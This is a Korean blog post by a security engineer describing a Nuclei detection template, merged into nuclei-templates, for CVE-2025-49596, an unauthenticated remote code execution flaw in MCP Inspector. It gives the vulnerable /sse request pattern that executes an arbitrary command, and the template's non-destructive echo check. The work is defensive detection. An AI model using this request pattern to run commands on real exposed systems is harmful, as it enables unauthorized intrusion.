Anthropic MCP Inspector의 인증 없는 RCE 취약점 탐지 템플릿을 작성해
projectdiscovery/nuclei-templates에 Merge됐다.
PR: #13142
취약점 개요
CVE-2025-49596는 Anthropic MCP Inspector 0.14.0 미만 버전에서 발생하는 인증 없는 원격 코드 실행(Unauthenticated RCE) 취약점이다. CVSS Critical 등급이다.
MCP Inspector는 MCP 서버를 테스트하고 디버깅하기 위한 개발자 도구다. 문제는 Inspector 클라이언트와 프록시 사이에 인증이 없다는 것이다. /sse 엔드포인트가 transportType, command, args[] 파라미터를 사용자 입력 그대로 받아서 처리하는데, 이 과정에서 임의 명령 실행이 가능하다.
GET /sse?transportType=stdio&command=<임의_명령>&args[]=<인자>공격자가 이 엔드포인트에 접근 가능하다면 인증 없이 서버에서 임의 명령을 실행할 수 있다. API 키나 설정 파일 탈취, 내부 네트워크 피벗 등으로 이어질 수 있다.
MCP Inspector는 기본적으로 로컬 개발 환경에서 돌아가지만, 실수로 외부에 노출되거나 클라우드 환경에서 포트가 열린 채로 배포된 경우 원격 공격이 가능해진다.
왜 이 취약점에 템플릿을 작성했나
Prowler MCP를 직접 개발하면서 Inspector를 쓰고 있었다. CVE가 공개됐을 때 영향받는 버전을 쓰고 있었고, 취약점의 동작 방식이 명확해서 탐지 로직을 작성하기 적합했다. 또 nuclei-templates에 아직 템플릿이 없었다.
기여 자체가 목적이기도 했다. nuclei-templates는 전 세계 보안 엔지니어들이 실제로 쓰는 취약점 스캐너 템플릿 저장소다. 여기에 직접 작성한 탐지 로직이 머지되면 전 세계 Nuclei 사용자가 쓸 수 있게 된다.
템플릿 설계
Nuclei 템플릿은 YAML로 작성한다. 이 취약점의 탐지는 단순히 /sse에 요청을 보내는 것만으로는 부족하다. 오탐(false positive)을 줄이고 실제로 취약한 버전인지, 취약한 엔드포인트가 활성화되어 있는지를 단계적으로 검증해야 한다.
flow 키워드로 3단계 HTTP 요청이 모두 성공해야 취약으로 판정하도록 구성했다.
flow: http(1) && http(2) && http(3)Step 1: MCP Inspector 확인
yaml
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body,"MCP Inspector")
condition: and
internal: true
extractors:
- type: regex
name: js
group: 1
part: body
regex:
- 'src="([^"]+\.js)"'
internal: true응답에 "MCP Inspector" 문자열이 포함되어 있는지 확인하고, JS 번들 파일 경로를 추출한다. MCP Inspector가 아닌 서버에서 오탐이 나지 않도록 하는 첫 번째 필터다.
Step 2: 버전 확인
yaml
- method: GET
path:
- "{{BaseURL}}{{js}}"
matchers:
- type: dsl
dsl:
- status_code == 200
- compare_versions(version, '< 0.14.0')
condition: and
internal: true
extractors:
- type: regex
name: version
internal: true
group: 1
part: body
regex:
- 'const\s+version\s*=\s*"([0-9]+\.[0-9]+\.[0-9]+)'Step 1에서 추출한 JS 파일을 가져와서, 소스 안에 있는 버전 문자열을 정규표현식으로 파싱한다. compare_versions(version, '< 0.14.0')로 취약한 버전인지 판단한다.
Step 3: 취약 엔드포인트 동작 확인
yaml
- method: GET
path:
- "{{BaseURL}}/sse?transportType=stdio&command=echo&args[]=hello-from-brower"
matchers:
- type: dsl
dsl:
- contains_all(body,"endpoint","/message?sessionId=")
- status_code == 200
condition: and
extractors:
- type: regex
name: session_id
part: body
group: 1
regex:
- '\/message\?sessionId=([a-z0-9-]+)'실제 /sse 엔드포인트에 echo 명령을 보낸다. 응답에 sessionId가 포함된 /message?sessionId= 형태의 엔드포인트가 반환되면 취약점이 실제로 활성화된 상태임을 확인한 것이다.
echo 명령을 사용한 이유는 non-destructive하기 때문이다. 서버 상태를 바꾸거나 파일을 생성하거나 네트워크 요청을 만들지 않고, 단순히 문자열을 출력해서 명령 실행 가능 여부만 확인한다.
리뷰 과정
PR을 올린 후 maintainer인 pussycat0x가 flow 로직을 업데이트했고, DhiyaneshGeek이 취약점 상세 정보와 remediation을 보완했다. 포매팅 수정 후 9월 15일에 머지됐다.
총 8개 커밋이 쌓였다. 처음 작성한 템플릿에서 maintainer들이 직접 개선을 붙여주는 방식으로 진행됐다. 리뷰 과정에서 내가 작성한 로직은 크게 변경되지 않고 flow 구조와 메타데이터 부분이 정리됐다.
기여 후 템플릿 사용법
머지됐으니 nuclei-templates를 최신으로 업데이트하면 바로 쓸 수 있다.
bash
# 템플릿 업데이트
nuclei -update-templates
# MCP Inspector 취약점 스캔
nuclei -t http/cves/2025/CVE-2025-49596.yaml -u http://target:5173MCP Inspector가 기본적으로 5173 포트를 사용하므로, 내부망 스캔이나 클라우드 환경 점검에서 이 포트를 대상으로 실행하면 된다.
패치 정보
0.14.1 이상으로 업그레이드하면 해결된다.
bash
npm install -g @modelcontextprotocol/inspector@latestMCP Inspector를 개발 도구로 쓰고 있다면 버전 확인 먼저.
bash
npx @modelcontextprotocol/inspector --versionPR: projectdiscovery/nuclei-templates #13142
CVE: NVD CVE-2025-49596
참고: Oligo Security 분석글
